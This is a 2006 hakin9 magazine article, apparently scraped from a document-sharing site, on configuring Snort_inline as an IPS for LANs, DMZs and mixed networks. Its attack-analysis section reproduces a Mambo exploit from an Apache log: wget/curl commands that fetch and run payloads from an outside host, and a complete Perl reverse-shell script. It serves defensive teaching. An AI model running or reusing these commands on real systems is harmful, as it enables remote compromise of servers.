Snort - Inline As A Solution

Download as pdf or txt
Download as pdf or txt
You are on page 1of 11
At a glance
Powered by AI
The document discusses how Snort can be used as an intrusion prevention system and some of its configuration techniques.

Some of the main preprocessors described for LANs are ClamAV, which scans for viruses, and Perfmonitor, which monitors performance statistics.

Setting two cards in bridge mode means connecting their functionalities at the data link layer to effectively combine them into one virtual network interface.

www.hakin9.

org hakin9 2/2006 22


Programming
S
nort is basically an intrusion detection
system (IDS), so its native functionality
implies the use of a network card listen-
ing on the traffc of a network segment.
In order for Snort_inline to parse the traf-
fc of a network segment it should be added
in a transparent way by means of two cards
in bridge mode, the inline functionality. This
inline functionality is done by appending the
traffc through iptables (ip _ queue). However,
this is not enough because we need to know,
through the iptables, what traffc to append.
Thanks to this Snort_inline mode, it can
behave just like any other intrusion preven-
tion system and block the connections it
receives. To act like a intrusion prevention
system, Snort should be compiled to get fex-
response enabling it to reset the traffc that
should be blocked.
To conclude, we can say that Snort_inline is
defnitely the most effective and accurate mode
available as it drops traffc on the basis of previ-
ously loaded rules.
Snort_inline for a LAN
The frst part of this article will deal with a brief
introduction of Snort_inline for a LAN.
We will presume the LAN traffc to be main-
ly client oriented. Therefore the following LAN
traffc types can be defned:
mail, client Web, P2P, instant messenger,
spyware, malware, virus, trojan, VPN.
A common rule to all these types of IDS/IPS is
that we cannot parse encrypted traffc, so this
means no VPNs and SSL services.
Figure 1 shows the correct solution for this
type of protection, the IPS placed between the
router and the rest of the network enables us to
analyse the traffc we want to monitor or protect.
Snort_inline as a solution
Pierpaolo Palazzoli, Matteo Valenza
Diffculty
Using Snort_inline in many different environments and scenarios
has proved to be a winning strategy to secure internal networks,
DMZ networks or home networks. In order to work properly in the
drop mode, it should adapt to the features of the environment it
is protecting. Therefore, we will not only present its confguration
techniques but also the ways to add a dedicated device which is
best suited for the environment we want to protect.
What you will learn...
how Snort_inline works,
the basics of intrusion prevention systems,
how to tune Snort_inline confguration.
What you should know...
basic knowledge of TCP/IP under Linux,
the fundamental principles of how an IDS
works.
Setting a device for particular enviornment
hakin9 2/2006 www.hakin9.org 23
Once the device has been prop-
erly set, we need to know the Snort
rules and the preprocessors that we
are going to use.
Let's suppose that Snort's confg-
uration fle is snort_inline.conf for an
example, visit www.snortattack.org/
mambo/ scr i pt / snor t _i nl i ne.conf
and that it has the preprocessors
for LANs shown in Listing 1.
Preprocessors for LANs
These preprocessors are described
in Listing 1. Below, we listed a brief
description of its components and
functions.
ClamAV
This is a type of processor installed
only if specifed during the installation
process (--enable-clamav). It scans for
the viruses listed in ClamAV's data-
base and makes sure they are neither
encrypted nor compressed. This pre-
processor is extremely effcient to block
e-mails that have been infected by
phishing techniques. Its functions are:
ports the ports to scan (all, 22
except 22, 110 only 110),
toclientonly it defnes the traf-
fc direction,
action-drop it tells the device
how to respond to a virus,
dbdir the directory with the
database containing ClamAV's
defnitions,
dbreloadtime how long it takes
for each defnition to reload.
Perfmonitor
This preprocessor enables us to
write all the statistics concerning the
performance and the traffc passage
in a text fle format, and it is funda-
mental for the correct functioning
of pmgraph, a program we will talk
about later on. This preprocessor
should also be enabled during the
installation procedure (--enable-
perfmon). Its functions are:
time the time necessary to
sample the data reading,
File - the path of the data fle,
pkcnt the maximum amount of
records contained in the fle.
The bridge mode
Setting two cards in bridge mode means connecting the functionalities of these cards
to layer two making them transparent to traffc. In this mode, packets are forwarded
from one card to another enabling the traffc to pass correctly. To do this in Linux we
need to execute the following operations:
Install the bridge-utils - apt-get install bridge-utils packet, you will
need kernel 2.6, otherwise you should compile 2.4 again using the enabled
bridge module. The bridge between two network cards can be implemented as
follows:
/usr/sbin/brctl addbr br0
/usr/sbin/brctl addif br0 eth0
/usr/sbin/brctl addif br0 eth1
/sbin/ifconfg br0 up
The mac address assigned to br0 is the same address as the frst interface it was
associated to.
Scenarios for Snort_inline
It should be noted that a system aimed at blocking intrusions should be customised
and ready to adapt to any network scenario and traffc type. Using an IPS inline does
not solve every security issue, but enables to build a central, dynamic and effcient
security system.
An IPS should detect the traffc to and from a source under protection. Through
network interfaces in bridge mode, we can add the device inside the network in a trans-
parent way and therefore collect all the necessary data. To create an inline device, we
need to know every feature of the network we are protecting (from the network layer to
the application layer).
Below we will describe some examples of network segments types for which
the implementation of an inline IPS can be advantageous thus securing the whole
environment:
internal LAN, group of clients used for browsing, mailing, messenger, P2P, etc.
(Figure 1),
DMZ, group of servers used to provide Internet-related services (SMTP, Web, FTP,
POP3, IMAP, MySQL, etc.) (Figure 2),
LAN + DMZ (Figure 3).
First of all, we need to set Snort_inline in IDS mode (Alert) for a time which is propor-
tioned to the network size, in other words the higher the number of hosts, the more time
we have. During this period we should:
detect failures (performance, data storing, slowing down, etc.),
analyse the traffc to detect false positives.
By observing the collected data we can therefore change the settings and optimise
the functioning of the device. It should be noted that the implementation of an open
source IPS, compared to a commercial one, may not be as simple as it seems, so
you could have problems removing many false positives found during the frst part of
tuning procedure.
We recommend installing Snort_inline on a dedicated hardware component
and organizing systems resources properly (CPU, RAM) by applying the following
simple principles: more rules require a lot of RAM space and high traffc leads to
more CPU load.
Recent network tests have proved that to secure an ADSL connection (1280/256)
it is necessary to have a Geode at 266 MHZ 128 MB RAM (one thousand rules). For
band widths of more than 1 Mbps we recommend a pentium 4 1 GHZ 512 MB RAM
(three thousand rules).
hakin9 2/2006 www.hakin9.org
Programming
24
Flow
This preprocessor is required to en-
able other preprocessors to function
such as fowbits detection plug-in
and fow-portscan. Basically, the Flow
preprocessor allows Snort to keep
data acquisition mechanisms. Its
functions are:
stats _ interval this parameter
specifes the time interval ex-
pressed in seconds in which we
want Snort to dump the statistics
in stdout,
Hash this parameter specifes the
hash method, using the value 1 we
defne a hash by byte, the value 4
we defne a hash by integer,
Stream 4 this preprocessor
gives Snort the ability to see the
basis of the packet and where it
is generated (client or server),
to quote Martin Roesch: I imple-
mented stream4 out of the desire
to have more robust stream
reassembly capabilities and the
desire to defeat the latest state-
less attack. Its function are:
disable _ evasion _ alerts
this option is used to disable
alerts written in stream4,
midstream _ drop _ alerts it
tells the preprocessor to block
the connections generated
without establishing a given
fow,
Rpc decode this preprocessor
reassembles a rpc fow in a sin-
gle packet to make its analysis
easier, if the stream4 preproces-
sor is present, it will parse only
the traffc coming from the client,
Telnet decode this preprocessor
normalizes the character fow of
a telnet protocol in a session. We
should specify the ports to parse.
Rules for LANs
Once we defned the preprocessors,
Snort needs to set the rules in the
confguration fle. There are many
different rules:
alert generates an alert mes-
sage and then logs it in a fle or a
database,
log it logs in a fle or database,
pass it ignores the traffc it has
found,
drop it drops the packet through
iptables and logs it in the fle or
database,
reject if it's TCP it resets the
connection through iptables, if
it's UDP it sends a icmp host un-
reachable message and logs in a
fle or database,
sdrop it drops the packet through
iptables and does not log in.
In this case, the purpose of this rule
is to block miosito.com, it is part of a
rule set written to block traffc to on-
line casino sites which do not comply
to national laws. The drop function
sets the action that the iptables
must perform as soon as the rule is
detected.
drop tcp $home_net any ->
any $http ports (
msg:"snortattack-italian-law";
fow:established;content: "miosito.com";
classtype:policy-violation;
reference:url,
www.snortattack.net;
)
The purpose of the settings men-
tioned in Listing 2 is to control p2p
applications, protect from inside
attacks (which amount to nearly
70% of all attacks), and especially
select the content viewed by internal
hosts.
Snort_inline on a DMZ
The second part of this article will
deal with a brief introduction of
Snort_inline on a DMZ.
As said beforehand, the pre-
sumed traffic taken into account
in a DMZ will mainly be server ori-
ented traffic. Therefore we are able
to define the following DMZ traffic
types: mailing, server web, data-
base server, application server,
virus, VPN.
Setting a device is a possible
solution for this type of network
Figure 1. Setting the device on a
LAN
Listing 1. Recommended preprocessors for LANs
preprocessor perfmonitor: time 60 fle/var/log/snort/perfmon.txt pktcnt 500
preprocessor fow:stats_interval 0 hash 2
preprocessor stream4_reassemble: both
preprocessor stream4: disable_evasion_alerts
midstream_drop_alerts
preprocessor clamav:ports all !22 !443,toclientonly, action-drop,dbdir /var/lib/clamav,dbreload-time 43200
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode
Setting a device for particular enviornment
hakin9 2/2006 www.hakin9.org 25
segment. This time, the IPS is placed
between the router and the DMZ.
Preprocessors for DMZ
networks
The only preprocessor that changes
its settings is Clamav, it is important
you defne the toserveronly parame-
ter to select only the traffc addressed
to the servers. See Listing 3.
The preprocessor frag3 replaces
the frag2 required to reconstruct the
data fow due to transmission frag-
mentation.
Rules for DMZ networks
Once all preprocessors have been
defned, Snort needs some rules and
below you will fnd some of their ap-
plications:
max _ frags the maximum
number of traceable fragments,
policy it selects the fragmen-
tation method, the methods
available are frst, AST, BSD,
BSD-right, Linux. It uses bsd as
its default method,
detect _ anomalies it detects
fragmentation failures.
The rules recommended for a DMZ
network are shown in Listing 4.
Snort on a mixed
network
As for adding a device on a mixed
network shown in Figure 3, we sug-
gest the following settings.
Preprocessors for a mixed net-
work are shown in Listing 5 and its
rules are listed in Listing 6a and 6b.
The purpose of these settings is
to control viruses, protect the ma-
chine from external attacks aimed
at blocking exploits targeted to
services.
We will explain the different at-
tack techniques using practical ex-
amples later.
Attack monitoring and
rule management
The front ends we will analyse and
describe are database-based, in fact
all Snort results will be stored in a
different type of databases: MySQL,
Postgres, etc. These tools are differ
from one another and are written in
different languages but they basical-
ly do the same thing. They are ACID,
BASE, PLACID, SNORT REPORT,
SGUIL etc.
Listing 2. List of useful rules to protect a LAN:
#General
include /etc/snort_inline/rules/bleeding.rules
#Mostly Spyware
include $RULE_PATH/bleeding-malware.rules
include $RULE_PATH/malware.rules
include $RULE_PATH/spyware-put.rules
#Exploits and direct attacks
include $RULE_PATH/exploit.rules
include $RULE_PATH/bleeding-exploit.rules
include $RULE_PATH/community-exploit.rules
#DOS
include $RULE_PATH/dos.rules
include $RULE_PATH/ddos.rules
include $RULE_PATH/bleeding-dos.rules
#Web issues
include $RULE_PATH/web-client.rules
include $RULE_PATH/community-web-client.rules
#Mail sigs
include $RULE_PATH/community-mail-client.rules
#Trojans, Viruses, and spyware
include $RULE_PATH/virus.rules
include $RULE_PATH/bleeding-virus.rules
include $RULE_PATH/community-virus.rules
#Peer to peer
include $RULE_PATH/p2p.rules
include $RULE_PATH/bleeding-p2p.rules
Figure 2. An example of a DMZ network
hakin9 2/2006 www.hakin9.org
Programming
26
Developed in PHP or Python,
these tools are fundamental for a
good IPS/IDS as it is fundamental
to know what is happening to our
device and our network. These front
ends are very simple to install, all
you have to do is to unpack and edit
the related confguration fle with the
parameter to connect to the Snort
database.
Here, we decided to take a look
into BASE and PLACID.
The former is a derivation of
ACID (Analysis Console for Intrusion
Database), BASE stands for Basic
Analysis and Security Engine project
(see Figure 4). It is a tool to browse
and parse the contents of Snort's
database, which is written in PHP.
The strength of this tool relies on
the many research options and the
ability to group alerts based on their
IP addresses and other parameters
such as time or rule.
The basic implementation is
semi-automated, all you need to
do is extract the contents in tar.gz
in the Apache default directory (/
var/www/) change the owner of the
Apache folder and go to the frst
level of the directory using your
browser. An automated procedure
will guide you in the creation of the
required tables and allow you to use
the application.
tar -zxvf base-1.2.4.tar.gz
mv base-1.2.4 base
mv base /var/www
chown apache. /var/www/base
PLACID
Just like BASE, PLACID is written
in Python and is a database-based
event viewer. It performs the same
functions as BASE but it has been
proved to be faster with larger da-
tabases. Installing PLACID is not
so simple, you will need to install
Python 2.3 and specify some fun-
damental parameters in the Apache
confguration fle to make it work
properly:
Addheandler cgi-script .cgi .sh .pl .py
<Directory /var/www/placid>
Options ExecCGI
</Directory>
Also, edit PLACID's confguration fle
for the parameters to connect to the
database:
tar -zxvf placid-2.0.3.tar.gz
mv placid-2.0.3 placid
mv placid /var/www
chmod +x /var/www/
placid/placid.py
vi /var/www/placid/
placid.cfg
dbhost=localhost
db=snort
passwd=password
user=snort
port=3306
resolvedns=yes
entrieslimit=300
debug=no
eventaltviews=yes
In order to update the rules automati-
cally we recommend using Oinkmas-
ter, a program written in Perl, which
enables us to keep our rules updated
by downloading its source codes:
Snort VRT, Snort community, bleed-
ing-snort community, third party and
own (local) rules.
Below are the confguration in-
structions for Oinkmaster:
Listing 3. A list of preprocessors for a DMZ network
Preprocessors for a DMZ
preprocessor perfmonitor: time 60 fle /var/log/snort/perfmon.txt pktcnt 500
preprocessor fow: stats_interval 0 hash 2
preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy frst detect_anomalies
preprocessor stream4: disable_evasion_alerts detect_scans inline_state
preprocessor stream4_reassemble: both
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode
preprocessor clamav: ports 25 80, toserveronly, action-drop, dbdir /var/lib/
clamav, dbreload-time 43200
Listing 4. List of rules recommended for a DMZ
include $RULE_PATH/bad-traffc.rules
include $RULE_PATH/exploit.rules
include $RULE_PATH/scan.rules
include $RULE_PATH/dos.rules
include $RULE_PATH/ddos.rules
include $RULE_PATH/dns.rules
include $RULE_PATH/web-cgi.rules
include $RULE_PATH/web-iis.rules
include $RULE_PATH/web-misc.rules
include $RULE_PATH/web-php.rules
include $RULE_PATH/community-web-php.rules
include $RULE_PATH/netbios.rules
include $RULE_PATH/attack-responses.rules
include $RULE_PATH/mysql.rules
include $RULE_PATH/virus.rules
include $RULE_PATH/web-attacks.rules
include $RULE_PATH/backdoor.rules
include $RULE_PATH/bleeding-virus.rules
include $RULE_PATH/bleeding-attack_response.rules
include $RULE_PATH/bleeding-dos.rules
include $RULE_PATH/bleeding-exploit.rules
include $RULE_PATH/bleeding-malware.rules
include $RULE_PATH/bleeding-scan.rules
include $RULE_PATH/bleeding-web.rules
include $RULE_PATH/community-exploit.rules
include $RULE_PATH/community-ftp.rules
include $RULE_PATH/community-web-misc.rules
include $RULE_PATH/community-smtp.rules
Setting a device for particular enviornment
hakin9 2/2006 www.hakin9.org 27
Oinkmaster.conf:
# Example for Snort-current (
"current" means cvs snapshots).
url = http://www.snort.org/pub-bin/
oinkmaster.cgi/
[codicediregistrazione]/
snortrules-snapshot-
CURRENT.tar.gz
# Example for Community rules
url = http://www.snort.org/pub-bin/
downloads.cgi/Download/
comm_rules/
Community-Rules-2.4.tar.gz
# Example for rules from
# the Bleeding Snort project
url = http://www.bleedingsnort.com/
bleeding.rules.tar.gz
# If you prefer to download
# the rules archive from outside
# Oinkmaster, you can then point
# to the fle on your local flesystem
# by using fle://<flename>,
for example:
# url = fle:///tmp/snortrules.tar.gz
# In rare cases you may want to
# grab the rules directly from a
# local directory (don't confuse
# this with the output directory).
# url = dir:///etc/snort/src/rules
After the automatic updating, you
can choose which rules to enable
or disable:
Oinkmaster.conf:
disabledsid [sid della rules]
Oinkmaster is designed to change
automatically the rule's application.
So this option in the confguration
fle will replace the alert application
with drop:
Oinkmaster.conf:
modifysid * "^alert" | "drop"
An effcient rules management sys-
tem is SRRAM which, though being
quite obsolete, enables us to store
our rules in a dedicated database
and manage them via Web, using
a simple parsing script of the rules
fles. See Figure 5 .
However to make this tool ac-
quire the rules with the drop option
we need to change part of its source
code:
rules_import.pl:
if (/^alert/) {
# if the line is an alert
in
if (/^drop/) {
# if the line is an alert
In order for the import process to
succeed we need to create the data-
base containing the rule set:
# mysqladmin -uroot -p
create snort_rules_mgt
Figure 3. An example of a mixed network
Listing 5. Preprocessors for a mixed network
preprocessor perfmonitor: time 60 fle /var/log/snort/perfmon.txt pktcnt 500
preprocessor fow: stats_interval 0 hash 2
preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy frst detect_anomalies
preprocessor stream4: disable_evasion_alerts detect_scans inline_state
preprocessor stream4_reassemble: both
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode
preprocessor clamav: ports 25 80, toserveronly, action-drop,
dbdir /var/lib/clamav, dbreload-time 43200
Figure 4. A simple screenshot
hakin9 2/2006 www.hakin9.org
Programming
28
And therefore, change the rules _
import.pl fles:
use DBD::mysql;
# === Modify to ft your system ===
$rules_list = 'snort_rules_fle_list';
$mysql_host = 'localhost';
$mysql_port = '3306';
$mysql_db = 'snort_rules';
$mysql_user = 'root';
$mysql_passwd = 'password';
And the CGI fle, which will run from
the rules _ mgt.pl server web:
use DBI;
use DBD::mysql;
use CGI;
# === Modify to ft your system ===
$this_script='rules_mgt.pl';
$cgi_dir='cgi-bin';
$mysql_host = '127.0.0.1';
$mysql_port = '3306';
$mysql_db='snort_rules_mgt';
$mysql_user='root';
$mysql_passwd='';
Now, run the #perl rules _ import.pl
statement and point your browser to:
http://IP/cgi-bin/rules_mgt.pl
Another fundamental tool for an
IDS/IPS is pmgraph. It is a simple
script written in Perl, which gener-
ates two HTML pages with tables
showing Snort's performances. It is
necessary to specify in the confgu-
ration fle the perfonitor preproces-
sor. To view the tables properly, you
are required to install RRDtool. It can
be easily added in crontab as the
images and the pages created are
incremental. pmgraph is described
in Figure 6.
In case of a preprocessor
confguration: preprocessor per-
fmonitor: time 60 fle /var/log/
snort/perfmon.txt pktcnt 500 we
will run the: pmgraph.pl [path of the
publishing folder] /var/log/snort/
perfmon.txt command.
If we want to add it in cron, then
use the following command line: */30
* * * * /root/pmgraph-0.2/pmgraph.pl
[path of the publishing folder] /
var/log/snort/perfmon.txt the com-
mand will be executed every day at
a thirty minute interval.
Listing 6. Recommended rules for a mixed network
#General
include $RULE_PATH/bleeding.rules
include $RULE_PATH/ftp.rules
include $RULE_PATH/telnet.rules
include $RULE_PATH/dns.rules
include $RULE_PATH/tftp.rules
include $RULE_PATH/x11.rules
include $RULE_PATH/misc.rules
include $RULE_PATH/nntp.rules
include $RULE_PATH/other-ids.rules
include $RULE_PATH/community-ftp.rules
include $RULE_PATH/community-misc.rules
#Mostly Spyware
include $RULE_PATH/bleeding-malware.rules
include $RULE_PATH/malware.rules
include $RULE_PATH/spyware-put.rules
include $RULE_PATH/aams7.rules
#Network issues
include $RULE_PATH/bad-traffc.rules
include $RULE_PATH/snmp.rules
#Exploits and direct attacks
include $RULE_PATH/exploit.rules
include $RULE_PATH/bleeding-exploit.rules
include $RULE_PATH/community-exploit.rules
#Scans and recon
include $RULE_PATH/scan.rules
include $RULE_PATH/bleeding-scan.rules
#Unusual stuff
include $RULE_PATH/fnger.rules
#R-services, etc
include $RULE_PATH/rpc.rules
include $RULE_PATH/rservices.rules
#DOS
include $RULE_PATH/dos.rules
include $RULE_PATH/ddos.rules
include $RULE_PATH/bleeding-dos.rules
#Web issues
include $RULE_PATH/web-iis.rules
include $RULE_PATH/web-client.rules
include $RULE_PATH/web-php.rules
include $RULE_PATH/web-attacks.rules
include $RULE_PATH/bleeding-web.rules
include $RULE_PATH/community-web-dos.rules
include $RULE_PATH/community-web-php.rules
#SQL and DB sigs
include $RULE_PATH/sql.rules
include $RULE_PATH/oracle.rules
include $RULE_PATH/mysql.rules
include $RULE_PATH/community-sql-injection.rules
#Windows stuff
include $RULE_PATH/netbios.rules
#Compromise responses
include $RULE_PATH/attack-responses.rules
include $RULE_PATH/bleeding-attack_response.rules
#Mail sigs
#include $RULE_PATH/smtp.rules
include $RULE_PATH/imap.rules
include $RULE_PATH/pop2.rules
include $RULE_PATH/pop3.rules
include $RULE_PATH/community-mail-client.rules
#Trojans, Viruses, and spyware
include $RULE_PATH/backdoor.rules
include $RULE_PATH/virus.rules
include $RULE_PATH/bleeding-virus.rules
include $RULE_PATH/community-virus.rules
#Policy Sigs
include $RULE_PATH/porn.rules
include $RULE_PATH/p2p.rules
include $RULE_PATH/bleeding-p2p.rules
include $RULE_PATH/bleeding-inappropriate.rules
include $RULE_PATH/community-inappropriate.rules
hakin9 2/2006 www.hakin9.org
Programming
30
Implementing Snort in
inline mode
Now we will describe briefy how
to install a Snort inline-based IPS
server using the scripts available at
www.snortattack.org.
Using the scripts provided by
snortattack is the easiest and fast-
est way to resolve the dependences
and the compilation specifcations.
Thanks to these scripts, we can get
a working IPS in less than 45 min-
utes, allowing us to concentrate on
the confguration and optimisation
processes. On the other hand, to
fully understand its implementation,
we need to install all the different
packages. For advanced users we
recommend reading the user guide
for a step-by-step installation without
using the scripts, which are avail-
able in the document section on the
snortattack site.
Snortattack scripts and instruc-
tions automate several procedures
and explain how to install Snort_in-
line on the following distributions:
Debian
Fedora Core 2, 3, 4, 5
During the implementation of the
distribution, you should disable the
frewall and selinux.
Once the implementation is com-
pleted, download current-attack.sh
www.snortattack.org/mambo/script/
current-attack.sh, edit the value of
the SA _ DISTRO variable and follow
the instructions in the script.
Specify deb for Debian and
fc20, fc30, fc40, fc50 for the differ-
ent Fedora versions. Edit the value
in the SA _ DIR _ ROOT variable with
the complete path to the location
where the packets and the scripts
for the Snort implementation will be
downloaded. The default setting is
/root/snortattack.
Edit the value for the language
(Italian or English): LANG - ita. The
default setting is Italian.
Once the changes to the current-
attack.sh are complete, trigger the
script using the following command:
> sh current-attack.sh
The system will download the scripts
and the packets to complete the
installation procedure in the direc-
tory defned in SA _ DIR _ ROOT. Inside
this directory we will edit the fast_
inline.sh script.
This script will make the Snort
installation completely automatic.
For a correct installation, you need
to set some parameters, which will
be used by fast_inline to set the
device:
SA _ DIR _ ROOT it sets the com-
plete path to the location where
the packets and the scripts were
downloaded,
MYSQLPWD it sets the password
for the mysql root account,
MYSQLPWS it sets the password
for the MySQL snort account,
IP it sets the IP address you
want to assign to the device,
NETMASK it sets the netmask you
want to assign to the device,
GW it sets the gateway you want
to assign to the device,
NETWORK it sets the network you
belong to,
BROADCAST it sets the broadcast
value,
Listing 7. The packets taken by the Apache log
216.63.z.z - -[28/Feb/2006:12:30:44+1300]"GET/
index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_
content&_REQUEST[Itemid]=1&GLOBALS=&mosConfg_absolute_path=http://66.98.a.a/
cmd.txt?&cmd=cd%20/tmp;wget%20216.99.b.b/cback;chmod%20744%20cback;./cback%2
0217.160.c.c%208081;wget%20216.99.b.b/dc.txt;chmod%20744%20dc.txt;perl%20
dc.txt%20217.160.c.c%208081;cd%20/var/tmp;curl%20-o%20cback%20http://
216.99.b.b/cback;chmod%20744%20cback;./cback%20217.160.c.c%208081;curl%20-
o%20dc.txt%20http://216.99.b.b/dc.txt;chmod%20744%20dc.txt;perl%20dc.txt%202
17.160.c.c%208081;echo%20YYY;echo| HTTP/1.1"404 - "-" "Mozilla/
4.0(compatible; MSIE 6.0; Windows NT 5.1;)" "-" 0localhost
Listing 8. The server's response to the user's identity
11:12:56.791930 IP 10.0.x.x.32770 > 217.160.c.c.8081:
P 1:40(39) ack 1 win 5840
<nop,nop,timestamp 454607 3169841954>
0x0000: 4500 005b 6f63 4000 4006 f4c6 0a00 0078 E..[oc@[email protected]
0x0010: d9a0 f25a 8002 1f91 231c 80d0 6dd5 df65 ...Z....#...m..e
0x0020: 8018 16d0 a26a 0000 0101 080a 0006 efcf .....j..........
0x0030: bcef f322 7569 643d 3028 726f 6f74 2920 ..."uid=0(root).
0x0040: 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root).grou
0x0050: 7073 3d30 2872 6f6f 7429 0a ps=0(root).
Listing 9. Snort's response to Mambo's root privileges
11:12:56.824718 IP 10.0.x.x.514
> 10.0.y.yy.514: SYSLOG
auth.alert, length: 164
0x0000: 4500 00c0 0189 4000 4011 23d4 0a00 0078 E.....@.@.#....x
0x0010: 0a00 0059 0202 0202 00ac 2937 3c33 333e ...Y......)7<33>
0x0020: 736e 6f72 743a 205b 313a 3439 383a 365d snort:.[1:498:6]
0x0030: 2041 5454 4143 4b2d 5245 5350 4f4e 5345 .ATTACK-RESPONSE
0x0040: 5320 6964 2063 6865 636b 2072 6574 7572 S.id.check.retur
0x0050: 6e65 6420 726f 6f74 205b 436c 6173 7369 ned.root.[Classi
0x0060: 6669 6361 7469 6f6e 3a20 506f 7465 6e74 fcation:.Potent
0x0070: 6961 6c6c 7920 4261 6420 5472 6166 6669 ially.Bad.Traff
0x0080: 635d 205b 5072 696f 7269 7479 3a20 325d c].[Priority:.2]
0x0090: 3a20 7b54 4350 7d20 3130 2e30 2exx 2exx :.{TCP}.10.0.x.x
0x00a0: xxxx 3a33 3237 3730 202d 3e20 3231 372e xx:32770.->.217.
0x00b0: 3136 302e xxxx xx2e xxxx 3a38 3038 310a 160.ccc.cc:8081.
Setting a device for particular enviornment
hakin9 2/2006 www.hakin9.org 31
DNS it sets the primary dns,
HOMENET it sets the so-called
trust network. Values are sepa-
rated by a comma.
The variables that follow are set
by default to automatically run all
the necessary operations to install
Snort. Let's take a quick look at how
they work:
SA _ UPDATE this function imports
the lists (sources.list in Debian,
yum.conf in Fedora) and updates
the system,
SA _ DEPS this function down-
loads and installs the packets
required for Snort using the the
packet manager (apt for Debian,
yum for Fedora),
SA _ EXTRACT this function down-
loads and extracts the tar.gz
packets to enable Snort to work
properly,
SA _ MYSQL this function sets the
MySQL server with the pass-
words specifed before, it imports
Snort's database and provides
the necessary permissions,
SA _ INSTALL this function com-
piles the elements required by
Snort, it created the directories
for the logs, it installs BASE, it
creates a link to the kernel if nec-
essary, etc.,
SA _ INLINE this function com-
piles Snort_inline,
SA _ REPORT this function installs
Snort Report,
SA _ PLACID this function installs
PLACID,
SA _ SNORT _ CONF this functions
sets Snort's confguration fle
with the values specifed before
(homenet, Snort password, etc.),
SA _ AUTO this function is used to
set Snort on boot,
SA _ ETH this function is used to
set the Ethernet interfaces,
SA _ SET _ SCRIPT this function is
used to create a script that starts
the chosen snort version (classic
Snort or Snort_inline) and the
parameters specifed before (ip,
gw, netmask, network etc.),
SA _ START this function is used
to start Snort once its installation
is complete,
SA _ EMAIL this function is
used to send information to
the Snortattack Team, to get
positive or negative feedback
concerning the installation using
fast_inline.sh.
Once the installation is complete,
you should restart your computer.
As for the fast_utility script, it
is a recently developed interac-
tive script which simplifes routine
operations performed on a IPS
device, such as:
changing the bridge IP address,
restarting Snort,
updating the rules,
backup of alerts and clearing the
database,
notifying a false positive,
changing the homenet,
changing the network type (LAN
DMZ MISTA),
changing the root password,
etc.
It is designed to be used also as a
console application and is executed
at every root login.
If some of the above-men-
tioned variables are not specifed
in fast_inline, this means that they
are not necessary for the script's
functioning. Our advice is to enable
by default the variable that manage
the functions. For further informa-
tion, refer to the user's guide on
www.snortattack.org.
Practical Examples
Let us now list some attack tech-
niques found by Snort_inline using
rules and preprocessors.
Attacks targeted to Mambo
The attack we are going to analyse
here is aimed at compromising a
server and loading an exploit for
a vulnerability in Mambo<= 4.0.11.
In this case the packets are taken
from an Apache log as shown in
Listing 7.
It is to be noted that through this
command we can load and start
cmd.txt. Below is the clean text:
cd /tmp; \
wget 216.99.b.b/cback;
chmod 744 cback; \
./cback 217.160.c.c 8081; \
wget 216.99.b.b/dc.txt;
chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;
cd /var/tmp; \
curl -o cback http://
216.99.b.b/cback;
chmod 744 cback; \
./cback 217.160.c.c 8081; \
curl -o dc.txt http://
216.99.b.b/dc.txt;
chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;
echo YYY;echo|
This is the content of cmd.txt:
#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
Figure 5. A SRRAM screenshot
hakin9 2/2006 www.hakin9.org
Programming
32
$PORT = $ARGV[1];
socket(SOCKET,
PF_INET, SOCK_STREAM,
getprotobyname('tcp'));
connect(SOCKET,
sockaddr_in
($PORT,inet_aton($IP)));
SOCKET->autofush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("id;pwd;uname -a;w;
HISTFILE=/dev/null /bin/sh -i");
It is to be noted that this passage
aims at discovering which user is
running Mambo. The quick response
of the server to this passage is
shown in Listing 8.
So if Mambo has root privileges
we can run a script through the vulner-
ability it detected. In this case, Snort's
response is shown in Listing 9.
Phishing
In the feld of scientifc research, the
term phishing is used to describe a
study carried out on a poorly known
issue without a precise aim: it means
searching randomly like a fsherman
who throws his net hoping to catch
some fsh. This is the meaning of the
term since 1990.
In computing, phishing is a
social engineering technique used
to obtain access to personal and
confdential information with the
aim to steal the user's identity with
fake e-mail messages (or also
through other social engineering
techniques), which we were cre-
ated to appear authentic. The user
is deceived by these messages and
induce to provide their personal
information such as bank account
number, username and password,
credit card number, etc.
Following the defnitions provided
by Wikipedia, we will describe a
method able to solve this problem.
We will present (though already
mentioned before) a useful tool, the
ClamAV preprocessor. This preproc-
essor is integrated in the Snort_inline
release. The principle behind this
preprocessor is apparently very sim-
ple, but it is useless if not confgured
properly. The ClamAV preprocessor
uses the dbdir released by ClamAV
as interception rules for Snort and
then enables the drop action after
it is detected. It is extremely impor-
tant to maintain ClamAV defnitions
(dbdir) constantly updated. It is to
be noted that this preprocessor does
not meet all the above rules, but only
clear virus/phishing attacks that are
not encrypted and compressed.
This being said, it is obvious that
this preprocessor is perfect to block
phishing attacks because these at-
tacks are clear and readable. To con-
fgure this type of network, please
refer to the next paragraph.
File Sharing
As we all know, private networks
make extensive use of peer to peer
programs. The most common clients
for downloading peer to peer fles
are: eMule, Bittorrent, Gnutella, Ka-
zaa, Soulseek. The most common
protocols used by these clients are:
bittorrent (used by the bittorrent
client),
eDonkey (used by the eMule cli-
ent),
fastrack (used by the Kazaa cli-
ent),
Gnutella (used by the Gnutella
client),
Soulseek (used by the Soulseek
client),
To disable these types of peer to
peer client, we need to activate
the following rule sets: bleeding-
P2P and P2P. These fles contain
(/etc/snort _ inline/rules/bleeding-
p2p.rules .../p2p.rules) all the latest
rules to protect the network from
being used by harmful P2P pro-
grams, which as we exactly know,
saturates the available bandwidth
in most connections. We need to
check that the HOMENET defned
in snort_inline.conf is the network
we want to protect from these cli-
ents.
